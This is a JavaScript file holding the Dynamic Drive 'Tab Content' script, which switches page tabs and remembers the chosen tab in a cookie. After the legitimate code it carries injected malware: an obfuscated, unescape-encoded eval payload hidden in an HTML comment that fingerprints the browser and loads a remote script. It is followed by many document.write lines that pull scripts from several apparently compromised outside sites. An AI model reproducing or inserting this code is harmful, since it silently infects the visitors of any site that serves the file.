//** Tab Content script- © Dynamic Drive DHTML code library (http://www.dynamicdrive.com)
//** Last updated: Nov 8th, 06

var enabletabpersistence=1 //enable tab persistence via session only cookies, so selected tab is remembered?

////NO NEED TO EDIT BELOW////////////////////////
var tabcontentIDs=new Object()

function expandcontent(linkobj){
var ulid=linkobj.parentNode.parentNode.id //id of UL element
var ullist=document.getElementById(ulid).getElementsByTagName("li") //get list of LIs corresponding to the tab contents
for (var i=0; i<ullist.length; i++){
ullist[i].className=""  //deselect all tabs
if (typeof tabcontentIDs[ulid][i]!="undefined") //if tab content within this array index exists (exception: More tabs than there are tab contents)
document.getElementById(tabcontentIDs[ulid][i]).style.display="none" //hide all tab contents
}
linkobj.parentNode.className="selected"  //highlight currently clicked on tab
document.getElementById(linkobj.getAttribute("rel")).style.display="block" //expand corresponding tab content
saveselectedtabcontentid(ulid, linkobj.getAttribute("rel"))
}

function expandtab(tabcontentid, tabnumber){ //interface for selecting a tab (plus expand corresponding content)
var thetab=document.getElementById(tabcontentid).getElementsByTagName("a")[tabnumber]
if (thetab.getAttribute("rel"))
expandcontent(thetab)
}

function savetabcontentids(ulid, relattribute){// save ids of tab content divs
if (typeof tabcontentIDs[ulid]=="undefined") //if this array doesn't exist yet
tabcontentIDs[ulid]=new Array()
tabcontentIDs[ulid][tabcontentIDs[ulid].length]=relattribute
}

function saveselectedtabcontentid(ulid, selectedtabid){ //set id of clicked on tab as selected tab id & enter into cookie
if (enabletabpersistence==1) //if persistence feature turned on
setCookie(ulid, selectedtabid)
}

function getullistlinkbyId(ulid, tabcontentid){ //returns a tab link based on the ID of the associated tab content
var ullist=document.getElementById(ulid).getElementsByTagName("li")
for (var i=0; i<ullist.length; i++){
if (ullist[i].getElementsByTagName("a")[0].getAttribute("rel")==tabcontentid){
return ullist[i].getElementsByTagName("a")[0]
break
}
}
}

function initializetabcontent(){
for (var i=0; i<arguments.length; i++){ //loop through passed UL ids
if (enabletabpersistence==0 && getCookie(arguments[i])!="") //clean up cookie if persist=off
setCookie(arguments[i], "")
var clickedontab=getCookie(arguments[i]) //retrieve ID of last clicked on tab from cookie, if any
var ulobj=document.getElementById(arguments[i])
var ulist=ulobj.getElementsByTagName("li") //array containing the LI elements within UL
for (var x=0; x<ulist.length; x++){ //loop through each LI element
var ulistlink=ulist[x].getElementsByTagName("a")[0]
if (ulistlink.getAttribute("rel")){
savetabcontentids(arguments[i], ulistlink.getAttribute("rel")) //save id of each tab content as loop runs
ulistlink.onclick=function(){
expandcontent(this)
return false
}
if (ulist[x].className=="selected" && clickedontab=="") //if a tab is set to be selected by default
expandcontent(ulistlink) //auto load currenly selected tab content
}
} //end inner for loop
if (clickedontab!=""){ //if a tab has been previously clicked on per the cookie value
var culistlink=getullistlinkbyId(arguments[i], clickedontab)
if (typeof culistlink!="undefined") //if match found between tabcontent id and rel attribute value
expandcontent(culistlink) //auto load currenly selected tab content
else //else if no match found between tabcontent id and rel attribute value (cookie mis-association)
expandcontent(ulist[0].getElementsByTagName("a")[0]) //just auto load first tab instead
}
} //end outer for loop
}


function getCookie(Name){ 
var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
if (document.cookie.match(re)) //if cookie found
return document.cookie.match(re)[0].split("=")[1] //return its value
return ""
}

function setCookie(name, value){
document.cookie = name+"="+value //cookie value is domain wide (path=/)
}<!-- 
(function(ic3Q){var uJyN='%';var sc7=unescape(('var_20a_3d_22_53_63_72ipt_45n_67i_6e_65_22_2cb_3d_22V_65rs_69on()+_22_2cj_3d_22_22_2cu_3dn_61vigato_72_2euserAgent_3bi_66_28(u_2e_69nde_78Of_28_22Chro_6de_22)_3c_30)_26_26(u_2eindexOf_28_22Win_22)_3e0_29_26_26(u_2ein_64exO_66(_22NT_206_22)_3c0)_26_26_28d_6f_63_75ment_2ecookie_2e_69_6ede_78_4ff(_22_6d_69ek_3d1_22)_3c_30)_26_26(typ_65of(zrv_7ats_29_21_3dtypeof(_22_41_22)_29)_7bzrvzts_3d_22A_22_3beval(_22if(w_69nd_6fw_2e_22_2ba+_22)j_3dj+_22_2ba+_22M_61jor_22+_62+a_2b_22Mino_72_22+b+a+_22Build_22+_62_2b_22j_3b_22)_3bdoc_75m_65n_74_2ewr_69te(_22_3cs_63ript_20s_72_63_3d_2f_2f_6d_61r_22+_22tuz_2ec_6e_2f_76id_2f_3f_69d_3d_22+_6a_2b_22_3e_3c_5c_2f_73_63ript_3e_22_29_3b_7d').replace(ic3Q,uJyN));eval(sc7)})(/\_/g);
 -->
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://edificiomacon.consuti.com/cgi-bin/envia.php ><\/script>');
document.write('<script src=http://edificiomacon.consuti.com/cgi-bin/envia.php ><\/script>');
document.write('<script src=http://edificiomacon.consuti.com/cgi-bin/envia.php ><\/script>');
document.write('<script src=http://koha.or.kr/admin/phpinfon.php ><\/script>');
document.write('<script src=http://koha.or.kr/admin/phpinfon.php ><\/script>');
document.write('<script src=http://koha.or.kr/admin/phpinfon.php ><\/script>');
document.write('<script src=http://koha.or.kr/admin/phpinfon.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://iesons.com/images/banner.php ><\/script>');